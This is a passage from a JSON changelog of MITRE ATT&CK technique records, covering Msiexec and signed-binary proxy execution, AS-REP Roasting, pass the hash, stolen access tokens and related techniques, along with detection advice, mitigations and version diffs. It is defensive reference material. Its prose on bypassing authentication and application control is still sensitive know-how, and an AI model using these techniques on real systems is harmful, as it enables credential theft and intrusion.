abnormal behavior that may indicate suspicious installation of application software components. Consider monitoring file locations associated with the installation of new application software components such as paths from which applications typically load such extensible components.", "x_mitre_is_subtechnique": true, "x_mitre_permissions_required": [ "SYSTEM", "Administrator", "root" ], "x_mitre_platforms": [ "Linux", "Windows" ], "x_mitre_version": "1.0", "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-18 17:05:44.321000+00:00\", \"old_value\": \"2020-03-25 22:59:59.124000+00:00\"}, \"root['x_mitre_contributors'][1]\": {\"new_value\": \"Christoffer Str\\u00f6mblad\", \"old_value\": \" Christoffer Str\\u00f6mblad\"}}}", "previous_version": "1.0", "changelog_mitigations": { "shared": [ "M1026: Privileged Account Management", "M1045: Code Signing", "M1047: Audit" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0015: Application Log (Application Log Content)", "DS0022: File (File Creation)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--457c7820-d331-465a-915e-42f85500ccc4", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2018-04-18 17:59:24.739000+00:00", "modified": "2021-10-16 00:13:19.412000+00:00", "name": "Signed Binary Proxy Execution", "description": "Adversaries may bypass process and/or signature-based defenses by proxying execution of malicious content with signed binaries. Binaries signed with trusted digital certificates can execute on Windows systems protected by digital signature validation. Several Microsoft signed binaries that are default on Windows installations can be used to proxy execution of other files.", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "defense-evasion" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1218", "external_id": "T1218" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_contributors": [ "Nishan Maharjan, @loki248", "Hans Christoffer Gaardl\u00f8s", "Praetorian" ], "x_mitre_data_sources": [ "Process: Process Creation", "File: File Creation", "Module: Module Load", "Process: OS API Execution", "Command: Command Execution", "Windows Registry: Windows Registry Key Modification", "Network Traffic: Network Connection Creation" ], "x_mitre_defense_bypassed": [ "Anti-virus", "Application control", "Digital Certificate Validation" ], "x_mitre_detection": "Monitor processes and command-line parameters for signed binaries that may be used to proxy execution of malicious files. Compare recent invocations of signed binaries that may be used to proxy execution with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity. Legitimate programs used in suspicious ways, like msiexec.exe downloading an MSI file from the Internet, may be indicative of an intrusion. Correlate activity with other suspicious behavior to reduce false positives that may be due to normal benign use by users and administrators.\n\nMonitor for file activity (creations, downloads, modifications, etc.), especially for file types that are not typical within an environment and may be indicative of adversary activity.", "x_mitre_is_subtechnique": false, "x_mitre_permissions_required": [ "User", "Administrator" ], "x_mitre_platforms": [ "Windows" ], "x_mitre_version": "2.1", "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-16 00:13:19.412000+00:00\", \"old_value\": \"2021-01-20 18:12:12.134000+00:00\"}}}", "previous_version": "2.1", "changelog_mitigations": { "shared": [ "M1026: Privileged Account Management", "M1038: Execution Prevention", "M1042: Disable or Remove Feature or Program", "M1050: Exploit Protection" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0009: Process (OS API Execution)", "DS0009: Process (Process Creation)", "DS0011: Module (Module Load)", "DS0017: Command (Command Execution)", "DS0022: File (File Creation)", "DS0024: Windows Registry (Windows Registry Key Modification)", "DS0029: Network Traffic (Network Connection Creation)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--365be77f-fc0e-42ee-bac8-4faf806d9336", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-01-24 14:38:49.266000+00:00", "modified": "2021-06-07 19:57:26.824000+00:00", "name": "Msiexec", "description": "Adversaries may abuse msiexec.exe to proxy execution of malicious payloads. Msiexec.exe is the command-line utility for the Windows Installer and is thus commonly associated with executing installation packages (.msi).(Citation: Microsoft msiexec) Msiexec.exe is digitally signed by Microsoft.\n\nAdversaries may abuse msiexec.exe to launch local or network accessible MSI files. Msiexec.exe can also execute DLLs.(Citation: LOLBAS Msiexec)(Citation: TrendMicro Msiexec Feb 2018) Since it is signed and native on Windows systems, msiexec.exe can be used to bypass application control solutions that do not account for its potential abuse. Msiexec.exe execution may also be elevated to SYSTEM privileges if the AlwaysInstallElevated policy is enabled.(Citation: Microsoft AlwaysInstallElevated 2018)", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "defense-evasion" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1218/007", "external_id": "T1218.007" }, { "source_name": "Microsoft msiexec", "description": "Microsoft. (2017, October 15). msiexec. Retrieved January 24, 2020.", "url": "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/msiexec" }, { "source_name": "LOLBAS Msiexec", "description": "LOLBAS. (n.d.). Msiexec.exe. Retrieved April 18, 2019.", "url": "https://lolbas-project.github.io/lolbas/Binaries/Msiexec/" }, { "source_name": "TrendMicro Msiexec Feb 2018", "description": "Co, M. and Sison, G. (2018, February 8). Attack Using Windows Installer msiexec.exe leads to LokiBot. Retrieved April 18, 2019.", "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/attack-using-windows-installer-msiexec-exe-leads-lokibot/" }, { "source_name": "Microsoft AlwaysInstallElevated 2018", "description": "Microsoft. (2018, May 31). AlwaysInstallElevated. Retrieved December 14, 2020.", "url": "https://docs.microsoft.com/en-us/windows/win32/msi/alwaysinstallelevated" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_contributors": [ "Ziv Kaspersky, Cymptom", "Alexandros Pappas" ], "x_mitre_data_sources": [ "Process: Process Creation", "Module: Module Load", "Command: Command Execution", "Network Traffic: Network Connection Creation" ], "x_mitre_defense_bypassed": [ "Digital Certificate Validation", "Application control" ], "x_mitre_detection": "Use process monitoring to monitor the execution and arguments of msiexec.exe. Compare recent invocations of msiexec.exe with prior history of known good arguments and executed MSI files or DLLs to determine anomalous and potentially adversarial activity. Command arguments used before and after the invocation of msiexec.exe may also be useful in determining the origin and purpose of the MSI files or DLLs being executed.", "x_mitre_is_subtechnique": true, "x_mitre_permissions_required": [ "User" ], "x_mitre_platforms": [ "Windows" ], "x_mitre_version": "1.1", "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-06-07 19:57:26.824000+00:00\", \"old_value\": \"2020-12-14 18:40:45.170000+00:00\"}}, \"iterable_item_added\": {\"root['x_mitre_contributors'][0]\": \"Ziv Kaspersky, Cymptom\"}}", "previous_version": "1.1", "changelog_mitigations": { "shared": [ "M1026: Privileged Account Management", "M1042: Disable or Remove Feature or Program" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0009: Process (Process Creation)", "DS0011: Module (Module Load)", "DS0017: Command (Command Execution)", "DS0029: Network Traffic (Network Connection Creation)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--f6fe9070-7a65-49ea-ae72-76292f42cebe", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2018-04-18 17:59:24.739000+00:00", "modified": "2021-09-01 00:57:01.576000+00:00", "name": "Signed Script Proxy Execution", "description": "Adversaries may use scripts signed with trusted certificates to proxy execution of malicious files. Several Microsoft signed scripts that are default on Windows installations can be used to proxy execution of other files. This behavior may be abused by adversaries to execute malicious files that could bypass application control and signature validation on systems.(Citation: GitHub Ultimate AppLocker Bypass List)", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "defense-evasion" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1216", "external_id": "T1216" }, { "source_name": "GitHub Ultimate AppLocker Bypass List", "description": "Moe, O. (2018, March 1). Ultimate AppLocker Bypass List. Retrieved April 10, 2018.", "url": "https://github.com/api0cradle/UltimateAppLockerByPassList" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_contributors": [ "Praetorian" ], "x_mitre_data_sources": [ "Process: Process Creation", "Command: Command Execution", "Script: Script Execution" ], "x_mitre_defense_bypassed": [ "Application control", "Digital Certificate Validation" ], "x_mitre_detection": "Monitor script processes, such as `cscript`, and command-line parameters for scripts like PubPrn.vbs that may be used to proxy execution of malicious files.", "x_mitre_is_subtechnique": false, "x_mitre_permissions_required": [ "User" ], "x_mitre_platforms": [ "Windows" ], "x_mitre_version": "1.1", "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-09-01 00:57:01.576000+00:00\", \"old_value\": \"2020-06-20 22:39:47.559000+00:00\"}}}", "previous_version": "1.1", "changelog_mitigations": { "shared": [ "M1038: Execution Prevention", "T1216: Signed Script Proxy Execution Mitigation" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0009: Process (Process Creation)", "DS0012: Script (Script Execution)", "DS0017: Command (Command Execution)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--3986e7fd-a8e9-4ecb-bfc6-55920855912b", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-08-24 13:43:00.028000+00:00", "modified": "2021-06-07 19:23:33.039000+00:00", "name": "AS-REP Roasting", "description": "Adversaries may reveal credentials of accounts that have disabled Kerberos preauthentication by [Password Cracking](https://attack.mitre.org/techniques/T1110/002) Kerberos messages.(Citation: Harmj0y Roasting AS-REPs Jan 2017) \n\nPreauthentication offers protection against offline [Password Cracking](https://attack.mitre.org/techniques/T1110/002). When enabled, a user requesting access to a resource initiates communication with the Domain Controller (DC) by sending an Authentication Server Request (AS-REQ) message with a timestamp that is encrypted with the hash of their password. If and only if the DC is able to successfully decrypt the timestamp with the hash of the user\u2019s password, it will then send an Authentication Server Response (AS-REP) message that contains the Ticket Granting Ticket (TGT) to the user. Part of the AS-REP message is signed with the user\u2019s password.(Citation: Microsoft Kerberos Preauth 2014)\n\nFor each account found without preauthentication, an adversary may send an AS-REQ message without the encrypted timestamp and receive an AS-REP message with TGT data which may be encrypted with an insecure algorithm such as RC4. The recovered encrypted data may be vulnerable to offline [Password Cracking](https://attack.mitre.org/techniques/T1110/002) attacks similarly to [Kerberoasting](https://attack.mitre.org/techniques/T1558/003) and expose plaintext credentials. (Citation: Harmj0y Roasting AS-REPs Jan 2017)(Citation: Stealthbits Cracking AS-REP Roasting Jun 2019) \n\nAn account registered to a domain, with or without special privileges, can be abused to list all domain accounts that have preauthentication disabled by utilizing Windows tools like [PowerShell](https://attack.mitre.org/techniques/T1059/001) with an LDAP filter. Alternatively, the adversary may send an AS-REQ message for each user. If the DC responds without errors, the account does not require preauthentication and the AS-REP message will already contain the encrypted data. (Citation: Harmj0y Roasting AS-REPs Jan 2017)(Citation: Stealthbits Cracking AS-REP Roasting Jun 2019)\n\nCracked hashes may enable [Persistence](https://attack.mitre.org/tactics/TA0003), [Privilege Escalation](https://attack.mitre.org/tactics/TA0004), and [Lateral Movement](https://attack.mitre.org/tactics/TA0008) via access to [Valid Accounts](https://attack.mitre.org/techniques/T1078).(Citation: SANS Attacking Kerberos Nov 2014)", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "credential-access" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1558/004", "external_id": "T1558.004" }, { "source_name": "Harmj0y Roasting AS-REPs Jan 2017", "description": "HarmJ0y. (2017, January 17). Roasting AS-REPs. Retrieved August 24, 2020.", "url": "http://www.harmj0y.net/blog/activedirectory/roasting-as-reps/" }, { "source_name": "Microsoft Kerberos Preauth 2014", "description": "Sanyal, M.. (2014, March 18). Kerberos Pre-Authentication: Why It Should Not Be Disabled. Retrieved August 25, 2020.", "url": "https://social.technet.microsoft.com/wiki/contents/articles/23559.kerberos-pre-authentication-why-it-should-not-be-disabled.aspx" }, { "source_name": "Stealthbits Cracking AS-REP Roasting Jun 2019", "description": "Jeff Warren. (2019, June 27). Cracking Active Directory Passwords with AS-REP Roasting. Retrieved August 24, 2020.", "url": "https://blog.stealthbits.com/cracking-active-directory-passwords-with-as-rep-roasting/" }, { "source_name": "SANS Attacking Kerberos Nov 2014", "description": "Medin, T. (2014, November). Attacking Kerberos - Kicking the Guard Dog of Hades. Retrieved March 22, 2018.", "url": "https://redsiege.com/kerberoast-slides" }, { "source_name": "AdSecurity Cracking Kerberos Dec 2015", "description": "Metcalf, S. (2015, December 31). Cracking Kerberos TGS Tickets Using Kerberoast \u2013 Exploiting Kerberos to Compromise the Active Directory Domain. Retrieved March 22, 2018.", "url": "https://adsecurity.org/?p=2293" }, { "source_name": "Microsoft Detecting Kerberoasting Feb 2018", "description": "Bani, M. (2018, February 23). Detecting Kerberoasting activity using Azure Security Center. Retrieved March 23, 2018.", "url": "https://blogs.technet.microsoft.com/motiba/2018/02/23/detecting-kerberoasting-activity-using-azure-security-center/" }, { "source_name": "Microsoft 4768 TGT 2017", "description": "Microsoft. (2017, April 19). 4768(S, F): A Kerberos authentication ticket (TGT) was requested. Retrieved August 24, 2020.", "url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4768" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_contributors": [ "Yossi Nisani, Cymptom", "James Dunn, @jamdunnDFW, EY", "Swapnil Kumbhar", "Jacques Pluviose, @Jacqueswildy_IT", "Dan Nutting, @KerberToast" ], "x_mitre_data_sources": [ "Active Directory: Active Directory Credential Request" ], "x_mitre_detection": "Enable Audit Kerberos Service Ticket Operations to log Kerberos TGS service ticket requests. Particularly investigate irregular patterns of activity (ex: accounts making numerous requests, Event ID 4768 and 4769, within a small time frame, especially if they also request RC4 encryption [Type 0x17], pre-authentication not required [Type: 0x0]).(Citation: AdSecurity Cracking Kerberos Dec 2015)(Citation: Microsoft Detecting Kerberoasting Feb 2018)(Citation: Microsoft 4768 TGT 2017)", "x_mitre_is_subtechnique": true, "x_mitre_permissions_required": [ "User" ], "x_mitre_platforms": [ "Windows" ], "x_mitre_system_requirements": [ "Valid domain account" ], "x_mitre_version": "1.0", "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-06-07 19:23:33.039000+00:00\", \"old_value\": \"2020-10-20 19:30:11.783000+00:00\"}}, \"iterable_item_added\": {\"root['x_mitre_contributors'][0]\": \"Yossi Nisani, Cymptom\"}}", "previous_version": "1.0", "changelog_mitigations": { "shared": [ "M1027: Password Policies", "M1041: Encrypt Sensitive Information", "M1047: Audit" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0026: Active Directory (Active Directory Credential Request)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--c877e33f-1df6-40d6-b1e7-ce70f16f4979", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2021-04-01 16:42:08.735000+00:00", "modified": "2021-10-15 22:00:56.438000+00:00", "name": "System Location Discovery", "description": "\nAdversaries may gather information in an attempt to calculate the geographical location of a victim host. Adversaries may use the information from [System Location Discovery](https://attack.mitre.org/techniques/T1614) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\n\nAdversaries may attempt to infer the location of a system using various system checks, such as time zone, keyboard layout, and/or language settings.(Citation: FBI Ragnar Locker 2020)(Citation: Sophos Geolocation 2016)(Citation: Bleepingcomputer RAT malware 2020) Windows API functions such as GetLocaleInfoW can also be used to determine the locale of the host.(Citation: FBI Ragnar Locker 2020) In cloud environments, an instance's availability zone may also be discovered by accessing the instance metadata service from the instance.(Citation: AWS Instance Identity Documents)(Citation: Microsoft Azure Instance Metadata 2021)\n\nAdversaries may also attempt to infer the location of a victim host using IP addressing, such as via online geolocation IP-lookup services.(Citation: Securelist Trasparent Tribe 2020)(Citation: Sophos Geolocation 2016)", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "discovery" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1614", "external_id": "T1614" }, { "source_name": "FBI Ragnar Locker 2020", "description": "FBI. (2020, November 19). Indicators of Compromise Associated with Ragnar Locker Ransomware. Retrieved April 1, 2021.", "url": "https://assets.documentcloud.org/documents/20413525/fbi-flash-indicators-of-compromise-ragnar-locker-ransomware-11192020-bc.pdf" }, { "source_name": "Sophos Geolocation 2016", "description": "Wisniewski, C. (2016, May 3). Location-based threats: How cybercriminals target you based on where you live. Retrieved April 1, 2021.", "url": "https://news.sophos.com/en-us/2016/05/03/location-based-ransomware-threat-research/" }, { "source_name": "Bleepingcomputer RAT malware 2020", "description": "Abrams, L. (2020, October 23). New RAT malware gets commands via Discord, has ransomware feature. Retrieved April 1, 2021.", "url": "https://www.bleepingcomputer.com/news/security/new-rat-malware-gets-commands-via-discord-has-ransomware-feature/" }, { "source_name": "AWS Instance Identity Documents", "description": "Amazon. (n.d.). Instance identity documents. Retrieved April 2, 2021.", "url": "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-identity-documents.html" }, { "source_name": "Microsoft Azure Instance Metadata 2021", "description": "Microsoft. (2021, February 21). Azure Instance Metadata Service (Windows). Retrieved April 2, 2021.", "url": "https://docs.microsoft.com/en-us/azure/virtual-machines/windows/instance-metadata-service?tabs=windows" }, { "source_name": "Securelist Trasparent Tribe 2020", "description": "Dedola, G. (2020, August 20). Transparent Tribe: Evolution analysis, part 1. Retrieved April 1, 2021.", "url": "https://securelist.com/transparent-tribe-part-1/98127/" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_contributors": [ "Pooja Natarajan, NEC Corporation India", "Hiroki Nagahama, NEC Corporation", "Manikantan Srinivasan, NEC Corporation India", "Wes Hurd", "Katie Nickels, Red Canary" ], "x_mitre_data_sources": [ "Instance: Instance Metadata", "Process: Process Creation", "Command: Command Execution", "Process: OS API Execution" ], "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system location information. Remote access tools with built-in features may interact directly with the Windows API, such as calling GetLocaleInfoW to gather information.(Citation: FBI Ragnar Locker 2020)\n\nMonitor traffic flows to geo-location service provider sites, such as ip-api and ipinfo.", "x_mitre_is_subtechnique": false, "x_mitre_permissions_required": [ "User" ], "x_mitre_platforms": [ "Windows", "Linux", "macOS", "IaaS" ], "x_mitre_version": "1.0", "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-15 22:00:56.438000+00:00\", \"old_value\": \"2021-04-20 19:25:49.977000+00:00\"}}}", "previous_version": "1.0", "changelog_mitigations": { "shared": [], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0009: Process (OS API Execution)", "DS0009: Process (Process Creation)", "DS0017: Command (Command Execution)", "DS0030: Instance (Instance Metadata)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--ff25900d-76d5-449b-a351-8824e62fc81b", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2017-05-31 21:31:39.262000+00:00", "modified": "2021-10-15 23:57:08.312000+00:00", "name": "Trusted Developer Utilities Proxy Execution", "description": "Adversaries may take advantage of trusted developer utilities to proxy execution of malicious payloads. There are many utilities used for software development related tasks that can be used to execute code in various forms to assist in development, debugging, and reverse engineering.(Citation: engima0x3 DNX Bypass)(Citation: engima0x3 RCSI Bypass)(Citation: Exploit Monday WinDbg)(Citation: LOLBAS Tracker) These utilities may often be signed with legitimate certificates that allow them to execute on a system and proxy execution of malicious code through a trusted process that effectively bypasses application control solutions.", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "defense-evasion" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1127", "external_id": "T1127" }, { "source_name": "engima0x3 DNX Bypass", "description": "Nelson, M. (2017, November 17). Bypassing Application Whitelisting By Using dnx.exe. Retrieved May 25, 2017.", "url": "https://enigma0x3.net/2016/11/17/bypassing-application-whitelisting-by-using-dnx-exe/" }, { "source_name": "engima0x3 RCSI Bypass", "description": "Nelson, M. (2016, November 21). Bypassing Application Whitelisting By Using rcsi.exe. Retrieved May 26, 2017.", "url": "https://enigma0x3.net/2016/11/21/bypassing-application-whitelisting-by-using-rcsi-exe/" }, { "source_name": "Exploit Monday WinDbg", "description": "Graeber, M. (2016, August 15). Bypassing Application Whitelisting by using WinDbg/CDB as a Shellcode Runner. Retrieved May 26, 2017.", "url": "http://www.exploit-monday.com/2016/08/windbg-cdb-shellcode-runner.html" }, { "source_name": "LOLBAS Tracker", "description": "LOLBAS. (n.d.). Tracker.exe. Retrieved July 31, 2019.", "url": "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Tracker/" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_contributors": [ "Casey Smith", "Matthew Demaske, Adaptforward" ], "x_mitre_data_sources": [ "Process: Process Creation", "Command: Command Execution" ], "x_mitre_defense_bypassed": [ "Application control" ], "x_mitre_detection": "Monitor for abnormal presence of these or other utilities that enable proxy execution that are typically used for development, debugging, and reverse engineering on a system that is not used for these purposes may be suspicious.\n\nUse process monitoring to monitor the execution and arguments of from developer utilities that may be abused. Compare recent invocations of those binaries with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. It is likely that these utilities will be used by software developers or for other software development related tasks, so if it exists and is used outside of that context, then the event may be suspicious. Command arguments used before and after invocation of the utilities may also be useful in determining the origin and purpose of the binary being executed.", "x_mitre_is_subtechnique": false, "x_mitre_permissions_required": [ "User" ], "x_mitre_platforms": [ "Windows" ], "x_mitre_version": "1.2", "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-15 23:57:08.312000+00:00\", \"old_value\": \"2021-03-05 22:25:49.118000+00:00\"}}}", "previous_version": "1.2", "changelog_mitigations": { "shared": [ "M1038: Execution Prevention", "M1042: Disable or Remove Feature or Program" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0009: Process (Process Creation)", "DS0017: Command (Command Execution)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--f005e783-57d4-4837-88ad-dbe7faee1c51", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-01-30 17:37:22.261000+00:00", "modified": "2021-09-02 17:18:55.891000+00:00", "name": "Application Access Token", "description": "Adversaries may use stolen application access tokens to bypass the typical authentication process and access restricted accounts, information, or services on remote systems. These tokens are typically stolen from users and used in lieu of login credentials.\n\nApplication access tokens are used to make authorized API requests on behalf of a user and are commonly used as a way to access resources in cloud-based applications and software-as-a-service (SaaS).(Citation: Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019) OAuth is one commonly implemented framework that issues tokens to users for access to systems. These frameworks are used collaboratively to verify the user and determine what actions the user is allowed to perform. Once identity is established, the token allows actions to be authorized, without passing the actual credentials of the user. Therefore, compromise of the token can grant the adversary access to resources of other sites through a malicious application.(Citation: okta)\n\nFor example, with a cloud-based email service once an OAuth access token is granted to a malicious application, it can potentially gain long-term access to features of the user account if a \"refresh\" token enabling background access is awarded.(Citation: Microsoft Identity Platform Access 2019) With an OAuth access token an adversary can use the user-granted REST API to perform functions such as email searching and contact enumeration.(Citation: Staaldraad Phishing with OAuth 2017)\n\nCompromised access tokens may be used as an initial step in compromising other services. For example, if a token grants access to a victim\u2019s primary email, the adversary may be able to extend access to all other services which the target subscribes by triggering forgotten password routines. Direct API access through a token negates the effectiveness of a second authentication factor and may be immune to intuitive countermeasures like changing passwords. Access abuse over an API channel can be difficult to detect even from the service provider end, as the access can still align well with a legitimate workflow.", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "defense-evasion" }, { "kill_chain_name": "mitre-attack", "phase_name": "lateral-movement" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1550/001", "external_id": "T1550.001" }, { "source_name": "capec", "url": "https://capec.mitre.org/data/definitions/593.html", "external_id": "CAPEC-593" }, { "source_name": "Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019", "description": "Auth0. (n.d.). Why You Should Always Use Access Tokens to Secure APIs. Retrieved September 12, 2019.", "url": "https://auth0.com/blog/why-should-use-accesstokens-to-secure-an-api/" }, { "source_name": "okta", "description": "okta. (n.d.). What Happens If Your JWT Is Stolen?. Retrieved September 12, 2019.", "url": "https://developer.okta.com/blog/2018/06/20/what-happens-if-your-jwt-is-stolen" }, { "source_name": "Microsoft Identity Platform Access 2019", "description": "Cai, S., Flores, J., de Guzman, C., et. al.. (2019, August 27). Microsoft identity platform access tokens. Retrieved October 4, 2019.", "url": "https://docs.microsoft.com/en-us/azure/active-directory/develop/access-tokens" }, { "source_name": "Staaldraad Phishing with OAuth 2017", "description": "Stalmans, E.. (2017, August 2). Phishing with OAuth and o365/Azure. Retrieved October 4, 2019.", "url": "https://staaldraad.github.io/2017/08/02/o356-phishing-with-oauth/" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_contributors": [ "Shailesh Tiwary (Indian Army)", "Saisha Agrawal, Microsoft Threat Intelligent Center (MSTIC)", "Jeff Sakowicz, Microsoft Identity Developer Platform Services (IDPM Services)", "Mark Wee" ], "x_mitre_data_sources": [ "Web Credential: Web Credential Usage", "Application Log: Application Log Content" ], "x_mitre_defense_bypassed": [ "System Access Controls" ], "x_mitre_detection": "Monitor access token activity for abnormal use and permissions granted to unusual or suspicious applications and APIs.", "x_mitre_is_subtechnique": true, "x_mitre_platforms": [ "Office 365", "SaaS", "Google Workspace" ], "x_mitre_version": "1.2", "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-09-02 17:18:55.891000+00:00\", \"old_value\": \"2021-04-14 18:09:45.539000+00:00\"}}}", "previous_version": "1.2", "changelog_mitigations": { "shared": [ "M1021: Restrict Web-Based Content", "M1041: Encrypt Sensitive Information", "M1047: Audit" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0006: Web Credential (Web Credential Usage)", "DS0015: Application Log (Application Log Content)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--e624264c-033a-424d-9fd7-fc9c3bbdb03e", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-01-30 16:36:51.184000+00:00", "modified": "2021-08-31 19:55:02.702000+00:00", "name": "Pass the Hash", "description": "Adversaries may \u201cpass the hash\u201d using stolen password hashes to move laterally within an environment, bypassing normal system access controls. Pass the hash (PtH) is a method of authenticating as a user without having access to the user's cleartext password. This method bypasses standard authentication steps that require a cleartext password, moving directly into the portion of the authentication that uses the password hash.\n\nWhen performing PtH, valid password hashes for the account being used are captured using a [Credential Access](https://attack.mitre.org/tactics/TA0006) technique. Captured hashes are used with PtH to authenticate as that user. Once authenticated, PtH may be used to perform actions on local or remote systems.\n\nAdversaries may also use stolen password hashes to \"overpass the hash.\" Similar to PtH, this involves using a password hash to authenticate as a user but also uses the password hash to create a valid Kerberos ticket. This ticket can then be used to perform [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003) attacks.(Citation: Stealthbits Overpass-the-Hash)", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "defense-evasion" }, { "kill_chain_name": "mitre-attack", "phase_name": "lateral-movement" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1550/002", "external_id": "T1550.002" }, { "source_name": "capec", "url": "https://capec.mitre.org/data/definitions/644.html", "external_id": "CAPEC-644" }, { "source_name": "Stealthbits Overpass-the-Hash", "description": "Warren, J. (2019, February 26). How to Detect Overpass-the-Hash Attacks. Retrieved February 4, 2021.", "url": "https://stealthbits.com/blog/how-to-detect-overpass-the-hash-attacks/" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_contributors": [ "Blake Strom, Microsoft 365 Defender", "Travis Smith, Tripwire" ], "x_mitre_data_sources": [ "User Account: User Account Authentication", "Logon Session: Logon Session Creation", "Active Directory: Active Directory Credential Request" ], "x_mitre_defense_bypassed": [ "System Access Controls" ], "x_mitre_detection": "Audit all logon and credential use events and review for discrepancies. Unusual remote logins that correlate with other suspicious activity (such as writing and executing binaries) may indicate malicious activity. NTLM LogonType 3 authentications that are not associated to a domain login and are not anonymous logins are suspicious.\n\nEvent ID 4768 and 4769 will also be generated on the Domain Controller when a user requests a new ticket granting ticket or service ticket. These events combined with the above activity may be indicative of an overpass the hash attempt.(Citation: Stealthbits Overpass-the-Hash)", "x_mitre_is_subtechnique": true, "x_mitre_platforms": [ "Windows" ], "x_mitre_version": "1.1", "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-08-31 19:55:02.702000+00:00\", \"old_value\": \"2021-03-15 21:04:33.228000+00:00\"}}}", "previous_version": "1.1", "changelog_mitigations": { "shared": [ "M1018: User Account Management", "M1026: Privileged Account Management", "M1051: Update Software", "M1052: User Account Control" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0002: User Account (User Account Authentication)", "DS0026: Active Directory (Active Directory Credential Request)", "DS0028: Logon Session (Logon Session Creation)" ], "dropped": [] } }, { 